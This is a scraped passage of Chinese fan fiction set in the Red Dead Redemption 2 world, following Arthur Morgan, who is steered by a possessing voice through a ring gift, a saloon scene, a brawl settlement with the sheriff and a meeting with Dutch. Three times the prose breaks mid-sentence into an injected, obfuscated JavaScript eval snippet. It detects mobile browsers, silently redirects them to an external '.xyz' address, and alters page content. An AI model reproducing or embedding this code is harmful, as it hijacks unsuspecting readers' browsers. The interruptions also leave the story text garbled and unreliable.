酸甜的汁水在口腔中炸裂,亚瑟下意识皱起脸,喉咙里发出一声低沉的咕哝。但随着那股清冽的野果香气蔓延开,他还是不情不愿地开始吞咽。 但这并不是结束。树莓之后是块烤里脊,烤肉吃干净又一个圆面包。亚瑟被迫疯狂咀嚼。等终于咽干净,他用袖子粗鲁地抹了把嘴,扬起眉: “怎么,心虚了?就这么急着喂饱我?” “心虚?”古斯似笑非笑,“我只是觉得你还能塞得下更多。” “哦?那我就等着看看,我们的邪祟老爷能拿出什么好东西来。”亚瑟咧嘴一笑。“毕竟这顿饭也算在我的代价里,是吧?” 古斯转回亚瑟的脸:“所以我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14044772|145920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到最初的问题了?” “看在这顿饭的份上,”亚瑟环起胳膊,“我可以少让你吃点苦头。” “考虑到一直以来是我在喂饱你,我对你的投喂技能及品味持疑。”古斯装模作样地叹口气。“这样吧,我们都直接点——” 反正,从三周前的雪山相遇到现在,他已好生体验过这位西部悍匪的舌战功夫。就算有后世见识为加成,骂人方式最为丰富的语言为母语……无论是高端的阴阳怪气,还是简单的嘴臭,乃至朴素的嘴硬,在亚瑟·摩根面前都讨不到半点便宜。 好在不像游戏玩家们那些腰缠万贯的亚瑟,眼前这位货真价实的范德林德帮火力担当兼勤恳牛马,每天都在为帮派的财务发愁。 穷,又愿意谈,那就好办。 存档背包再次启动。古斯直接翻到财物,略过那些点缀着宝石的怀表,掠过装满珍珠和钻石的丝绒袋。在金条那栏稍作迟疑,继而眼前一亮。 他选中它。亚瑟的胳膊不受控制地再度探入背包,下一秒,那张总是挂着讥诮的脸僵住。 一枚戒指被掏了出来。黄金铸造。样式朴素。这是枚婚戒,男款,宽度意外地适合亚瑟那双带枪茧的手。 15. TBC 瓦伦丁,新汉诺威州的畜牧重镇。牛仔们骑马穿梭于泥泞的街道,牧场主们在此讨价还价。畜群的咩哞与皮革的腥味混杂,在街头巷尾挥之不去。牲畜拍卖场、马厩和酒馆永远是最热闹的地方,马刺与靴底的碰撞声此起彼伏。 在这个马匹是重要交通工具的时代,一匹好马所受到的关注,不亚于百年之后那些闪亮的机械坐骑。 黑朗姆稳稳踏进马厩,蹄子在木板上敲出沉稳的节奏。马厩老板正在查看账本,一见是亚瑟,立马合上本子迎上前。这是个胡子埋了大半张脸的瘦削中年人,前天靠这匹温血马大赚一笔。此刻再见亚瑟,那张饱经风霜的脸上,每一道皱纹都舒展成了谄媚的笑。 “摩根先生!”马厩老板搓着手走近,目光在亚瑟那一身体面打扮上打了个转,又在他手上那枚闪烁的金戒上略略一停,这才探身去抚摸黑朗姆: “瞧这家伙,真是匹配得上它主人的好马。”他的手轻抚过温血马浓密的鬃毛,语气越发友善,“而摩根先生,您现在可真是个体面的绅士了。” “哦?”亚瑟挑眉,“你是在说,我之前不是?” 马厩老板哈哈一笑:“恕我直言,先生,那些高高在上的老爷可不会随身携带那么多皱巴巴的旧钞,他们连碰都不愿碰呢。而您,先生,一看就是实干家。” 说着,他又意味深长地瞄了眼亚瑟的手:“噢,对了,我这儿最近刚好进了几匹好马驹,膘肥体壮,性子活泼,正处在最讨人喜欢的年纪。”他压低了声音,搓着手补充:“保证没有烙印,干净得很。” “也许改天吧。”亚瑟翘起嘴角,丢过几枚硬币:“今天你只需要照看好这一匹。” 男人走出马厩,踏进街道。今天的瓦伦丁格外热闹,一群牲口贩子正挥舞着棍和鞭,赶着新到的牛羊往拍卖场去。皮靴和牲畜的蹄子不断践踏,把本就泥泞的街道踩得更加坑洼不平。溅起的污水和泥点让路边的行人纷纷躲闪,有人抱怨,有人咒骂,却也有人兴致勃勃地议论着这批货的好坏。 没人多注意这边新来的陌生人。古斯趁机调好镜头,问道:【亚瑟,你怎么不去看?】 “看什么,马驹?”亚瑟不耐烦地回,“我现在已经够头疼了,没工夫再找个四条腿的麻烦。” 【还真是小马?】古斯诧异,【我以为是什么神秘的暗号。】 “穿着这身该死的体面行头,戴着这枚见鬼的金圈子,”亚瑟低声咒骂,眼神警惕地扫视四周,“我还能干什么?当然只能去看那些没长大的小马驹。现在闭嘴,邪祟。除非我点头,否则你就给我装哑巴。” 像一头被迫登台的野兽,离开马匹后的男人浑身上下都透着不自在。他的脊背挺得僵直,脖子也僵硬,左手拇指更是不自觉地蜷缩着,一次又一次摩挲那枚金戒指,既像在确认它还在,又像随时准备把它摘下来扔掉。 但考虑到它价值近二十美元——足够一个普通工人半个月的薪水,要扔也不会是今天。 何况,这位手头从不宽裕的牛仔,近来连买酒都得掂量掂量,怕是更舍不得把一枚纯金戒指丢进泥地。 古斯窃笑着闭麦,任由镜头回到默认视角,饶有兴致地盯着这位裹在绅士外包装下的西部悍匪过街穿道,一路往前,推开镇中心酒馆那扇布满弹孔的木门—— 然后整个一滞。 从雪山顺利迁移到马掌望台后,达奇给每个在外活动的帮派成员都安排了新的任务:有人负责打探平克顿的动向,有人盯着其他帮派的眼线,还有人去套取那些醉醺醺的旅人的口风。而作为营地最近的城镇,瓦伦丁自然成了他们打探消息的重要据点。 此刻,两双熟悉的眼睛,因注意到这头动静,以熟悉的风格投过来——查尔斯那双沉稳深邃的黑眼睛,哈维尔那双总带着笑意的褐眸。它们先是惯性地掠过口袋和腰包,寻找可能的收获。下一秒,它们瞪大。 “——亚瑟?” 哈维尔·埃斯奎拉,帮派里最可靠的猎手之一拖长声调,脸上的笑容像是发现了什么稀罕玩意:“好打扮啊?快来快来,我给你介绍几个朋友。” 亚瑟的左手下意识往口袋里缩,仿佛那枚金戒正在灼烧他的手指,但已经来不及了。哈维尔带着满面笑容迎上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14098627|145920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,一边用力拍着亚瑟的肩,一边扯着嗓子喊:“瞧瞧,我们这位老兄,简直像换了个人。” 大半个酒吧的人都看了过来。查尔斯依然坐在原位,只是嘴角微微上扬。他身边簇拥着两个姑娘,一个红发,一个黑发,衣着暴露,浓妆艳抹,正叽叽喳喳地说着什么。听见动静,她们不约而同地转过头,眼睛里闪着危险的好奇。 【亚瑟,主动点,别傻站着。】古斯恶趣味地提醒,【你这样更引人注意。】 亚瑟的肩膀绷得更紧。这头凶悍的野兽此刻就像被架上烤架的猎物,浑身上下都散发着“我宁愿去对付一队平克顿”的焦躁。但在同伴的半推半拉之下,他还是被带到了吧台前,木着脸,招呼道: “很高兴见到你们。” “噢。亲爱的。”红发姑娘的目光在亚瑟宽阔的肩膀上流连,声音甜得发腻:“瞧瞧,你是不是结实得像柚木山一样?这身衣服可真是完美地衬出了你的好身材。”* “哈。你安静点,安娜斯塔西娅。”黑发姑娘打断她,意味深长地瞟向亚瑟的左手,“谁都看得出来,这位先生已经订婚了。” “哇哦,订婚?”哈维尔立即借题发挥,用胳膊肘撞了下亚瑟的肩,“怎么,进度这么快,你们不是才认识吗?” 酒保麻利地倒了杯威士忌推来。亚瑟一口饮尽,砰地放下酒杯:“闭嘴,哈维尔。” “哦,生气了。”哈维尔笑得更欢,仿佛逮到了什么难得的乐子,“瞧瞧,他现在连说话都学得体面了。以前不都是直接动手的么?” “让我猜猜,”黑发姑娘像只逮到老鼠的猫般眯起眼,“这位先生,感情不畅?” “不像。”红发姑娘笑起来,一把抓过亚瑟的左手,那双涂着艳色的眼睛顿时亮得惊人:“哦哟,金的哎?先生,忍忍吧。” “我看也是。”一直默默喝酒的查尔斯终于开口,语气依然沉稳:“婚礼什么时候……等等。” 他望着亚瑟,因混合了黑人和印第安人双重血统而显得格外憨厚的脸上,浮出一个诚恳又担忧的笑:“你们吵架了?那婚礼还办吗?” 16. 演戏 1899年的美国,金本位制依然牢固地统治着这片大地。每一美元,都意味着1.505克纯金的承诺。 黑水镇悬赏令上的亚瑟·摩根值5000美元——整整十五斤纯金的重量。在这个普通人月薪不过十几美元的年代,这行数字足以改变一生。每个赏金猎人都为此红了眼,就连亚瑟自己,望着画像里面孔下的价码,也会玩笑地来一句考虑把自己送进去。 但这不代表他真要这么做。 此刻,亚瑟僵硬地站在原地,任由那群穿制服的家伙围上来。当先的是个年轻警员,脸颊上胡茬稀稀拉拉,表情比他这个真正的亡命徒更像老鼠路遇猫。 “发生什么事了,先生?”警员问,声音不太稳,目光在亚瑟身上一转,又飞快飘向满地狼藉:“我们听到有枪声……” 亚瑟突然不紧张了。 “这该死的醉鬼撞上我的人,伙计。”他昂起下巴,摆出一副愤慨表情,“我去管这破事,这杂种就冲我来了。你们也知道,在这种情况下,一个正经人还能怎么办?” “打不过找妈妈是吗,你这该死的矮子?”地上的汤米吐出一口带血的唾沫。 “喔,看看是谁他*躺着呢?”亚瑟嗤笑,“看来块头大也救不了你这头蠢牛——” “——让开,小子。” 一个左胸佩着锃亮警徽的中年男人拨开年轻警员。瓦伦丁的马洛伊警长走近来,先瞪了眼汤米,又上下打量一眼亚瑟: “这可真是稀奇,先生。我还以为,如你这般的绅士,会选个更……体面的地方,而不是在瓦伦丁这种牲口比人多的镇子找乐子。” 【你是来做生意的,亚瑟。】古斯提示,【你还买了匹好马。】 “买马的生意,警长。”亚瑟不慌不忙地拍了拍衣襟上的酒渍,“这儿的马要比人更懂规矩。至于找乐子——”他不屑地撇了眼汤米,“我倒是更想安静地喝一杯。” 马洛伊捻了捻浓密的八字胡,扫视了一圈被砸的乱七八糟的酒馆,啧道:“生意,这倒是个好理由。”他朝身后摆摆手,“听着,既然这位先生是来做生意的体面人,我们就别让这点小误会影响瓦伦丁的商业气氛,如何?” 他发了话,他还带着官方的人,酒保忙不迭地从柜台后探出头,全不见对汤米嚷嚷把亚瑟打死时的兴奋:“当然、当然!我这儿欢迎所有客人。” 汤米也咕哝着爬起,嘴里含混不清地说着随便。 亚瑟发出一声低沉的笑。这头困在绅士包装下的野兽似乎对“体面人”这说法格外不适,但他还是扯出一个假惺惺的微笑:“你说得对,警长。在生意场上,咱们都是文明人——” 【索赔,亚瑟。】古斯压低声音提醒,【按文明的规矩,要他三美元。】 “——那这身衣服的账,想必这位绅士也会痛快认下?”亚瑟从善如流地接上话茬,又装模作样地掸了掸身上被酒水浸透的马甲: “八美元,包括洗衣费。”亚瑟慢悠悠地说,“既然警长这么看重……商业气氛,想必这点小钱不算什么。” “八美元?”汤米顿时瞪起眼,“你他*在耍我?你他*怎么不去抢?” “这可是好料子。”亚瑟懒洋洋地说,指节隔空指向自己身上。“圣丹尼斯的手工活,花了我不少钱。既然警长都说了咱们是文明人,那就该付文明人的价钱。”他眯起眼,“还是说,你想再来一趟?” “来就来!”汤米拳头一拧,就要冲上前,“老子今天非得——” “够了!”马洛伊一把拦住蛮牛似的汤米,转向亚瑟,“先生,我们都明白瓦伦丁不是圣丹尼斯。四美元,包括清洗费。这个数目,想来不算坏了规矩?” “四美元!?”汤米猛地甩开警长的手,通红的脸上满是不服:“一件他*的崭新衬衫也才五毛钱,操尼*的娘娘腔圣丹尼斯佬——” “娘娘腔?”亚瑟啐出一口,嘴角扯出一个狞笑,“就你这条刚被我揍趴的蠢狗还有脸叫?警长,让开。这杂种还想挨揍——” “——行了!都他*给我行了!”马洛伊抬高嗓门,粗壮的身躯强行挤进两人之间。左手不停地在两人之间比划,右手干脆地按上枪套: “你们两个,到此为止。要是打出人命,我的牢房和绞刑架,可不管你是体面人还是泥腿子。” 他摸了摸八字胡:“汤米,掏钱。四美元,大伙都是明白人,别让瓦伦丁的名声更臭了。” “凭什么,马洛伊!?”汤米粗短的手指紧攥成拳头,“不就是几滴该死的酒——” “总比你上个月砸的那扇窗户便宜,汤米。”马洛伊冷冷地打断他,盯着壮汉的眼睛,“我知道你口袋里有的是赌来的钱。除非,你更想在牢房过夜?” 骂骂咧咧地,汤米摸向裤兜,翻找半天,从一堆皱巴巴的零钱里数出四美元,啐了一口。 “去你*的。”他恨恨地把钞票揉成一团,“拿去!你这该死的圣丹尼斯佬——” 此刻,先前的斗殴已结束,也非陷入新的冲突,亚瑟得以自行一把接住。他稍稍偏过头,看着像在嫌弃那几张皱巴巴的钞票,但古斯知道,这家伙在对他炫耀。 炫耀比他报价多出的那一块钱。 ……这有啥好炫耀的。 眼见着亚瑟准备把这堆污迹斑斑的纸片塞进口袋,古斯正要转开镜头,忽然灵光一闪。 【等等,亚瑟。】古斯继续出声提醒,【用汤米的钱,请警长和酒保喝一杯。】 【你现在可是个城里来的文明人,这才叫文明人的待客之道。】 亚瑟的手指一顿,继而嘴角上翘,露出一个真正的笑容。虽然他们无法交谈,但古斯知道,这主意正中这家伙下怀—— “嘿,酒保!威士忌!” 亚瑟把钱往吧台一拍,“你一杯,我一杯,警长一杯。为瓦伦丁的……文明气息干一杯!”他不屑地瞟向汤米,“要是你拼写得出这词的话。” “你他*——”汤米的拳头又攥紧了。 “怎么,伙计?”亚瑟抬起眉,“这么输不起?连赔出去的钱都心疼?” 马洛伊低沉地笑了声,朝年轻警员点点头:“带汤米去醒醒酒。”年轻人赶紧应声,推着还在咒骂的汤米往外走。那个近两米的身躯跌跌撞撞,活像头被赶进围栏的蛮牛。 警长大步走向吧台,把枪带往下压了压:“那就不客气了。” 在需要演戏的时候,亚瑟能比靠剧院谋生的演员还敬业,更别提这次的身份涉及到买卖马匹——这些通人性的动物,可是他大半辈子的老相识。 他气定神闲地靠在吧台边,像模像样地摆出生意人的派头,和马洛伊漫谈马相、马性到马市行情。 有酒精,有真知灼见,再加上古斯适时的提点,几杯威士忌并好酒下肚,不光酒保笑逐颜开,就连马洛伊那张写满怀疑的老脸也渐渐松动,某种近乎认同的神色取代了那股若有若无的警惕。警长甚至热络地讲起了去年抓到的那个专偷良马的贼子,语气里已经带了几分把酒言欢的随意。 他们并肩踏出酒吧,瓦伦丁的午后阳光正好。几个本地的牛仔朝警长碰了碰帽檐,顺便多瞧两眼亚瑟这位浑身讲究的新面孔。亚瑟也不含糊,如一位真来谈生意的正经商人,大大方方地点头致意完,这才拐向大路。 【你看,走正门比跑路有派头,是吧?】古斯忍不住揶揄。 亚瑟不置可否地轻哼了声,不过嘴角微微上扬,看得出心情相当不错。古斯的心情比他还要好:这场架在酒馆里解决,没有演变成街头斗殴,没有满身泥污,更没有某个传染源来拉架。每个细节都证明,那些所谓注定的剧情,其实都可以规避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14182868|145920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— “……请留步吧,好心的先生们,女士们。”街角不远,传出一个男声,一个穿条纹衬衫的瘦高个正抱着募捐箱,对着稀疏的行人慷慨陈词: “我们的社区需要每一个人的爱心!只要几毛几分,就能帮助那些困苦的人们……” 古斯:“……” 操。 他火速调过镜头再拉近,果然见到托马斯·唐斯这结核晚期病人阴魂不散的脸。来往的路人对这位抱着募捐箱的理想主义者充耳不闻。只有几个孩子驻足打量,又被匆忙的大人拉走。 亚瑟放缓脚步,好奇地看向这个不知天高地厚的募捐人。赶在这家伙有任何行动或评论前,古斯的意志贯下—— 像匹被扯起后颈的烈马,亚瑟脖颈一正,一转,后背跟着挺得笔直,两条长腿加快步伐,几乎小跑地往旅馆方向疾走。 “……见鬼!” 亚瑟低咒一声,配合地调整表情。但很快,那双带金环的蓝眼若有所悟地眯起,脑袋也试探着想往回偏。 “咳。”男人破天荒地在人来人往的街上清了清嗓子,嘴唇蠕动,连眼角也带出几分戏谑:“怎么,邪祟,遇上你怕的东西了?” 古斯冷笑一声。 【我只是突然想起,已经让你喝了这么多杯了,美人。】他刻意切到轻佻语气,精神力若有若无地擦过亚瑟的后颈,【该去开房了,不是吗?】 “……你这该——” 还在大街上。亚瑟喉结滚动,硬生生吞回了即将完全出口的脏话。他的眉骨抽搐,耳根爬上红色,右手条件反射地往腰间摸,整个上身也下意识地要拧过—— 没有丝毫作用,古斯当即按住W不放。 前进。继续前进。男人绷紧的身躯被重新扳正,喉间的怒意被环境胁迫着咽回,反抗的动作被无形的意志扼杀。旅馆的阴影随着脚步越来越近,那抹红色——不知是酒意、怒火,还是别的什么——也从耳根一路渗下,染过结实的脖颈。 “亚瑟!” 街边一声呼喊。古斯暂停控制,让亚瑟转过视线。 范德林德帮的老大,达奇·范德林德正迎面来,脸上挂着那副惯常的仿佛了然的笑容。但走在最前方的却是约西亚·特里劳尼,一个总是穿着得体,也不常随帮派行动的成员。 又一个熟悉的剧情场景。特里劳尼似乎甚至还如过场CG里那样,头顶高帽,戴着白手套。古斯不由得暗自叹息。 特里劳尼则在饶有兴味地打量亚瑟。那种审视叠加怀疑的眼神,就像在打量一头混进雪橇犬里的狼。 “啊,亚瑟,看来你也开始追求品味了。”他用那种优雅又带刺的腔调说道,“不过我亲爱的朋友,威士忌的味道可配不上这身行头。” “孩子,去换身衣服再来。”达奇拍拍亚瑟的肩膀,“我们有些正事要谈。哦,对了……” 达奇似乎突然想起什么,“你在这交朋友用的姓氏是……普什么来着?” 亚瑟抿紧嘴唇。 古斯戳了戳亚瑟。 亚瑟的眼神闪了闪。 “普莱尔。”亚瑟干巴巴地说,不自在地扯了扯衣领。 “啊,普莱尔先生。”达奇像往常一样点头,但很快,他的眉头一跳,“等等……普莱尔?你是在告诉我,你直接用起那位慷慨朋友的姓氏了?” “什么慷慨朋友?”特里劳尼挑起眉,感兴趣地问。 “符合这个身份。”亚瑟不耐烦地咕哝一声,朝旅馆的招牌抬了抬下巴。“我先上去。” 这回不用古斯控制,亚瑟飞快转身,大步流星地朝旅馆迈,只是两道若有所思的目光仍追在他背后,像是要把他盯出个洞。 古斯:“……” 怎么回事,突然一种好微妙的……拐别家孩子开房现场被抓的做贼感。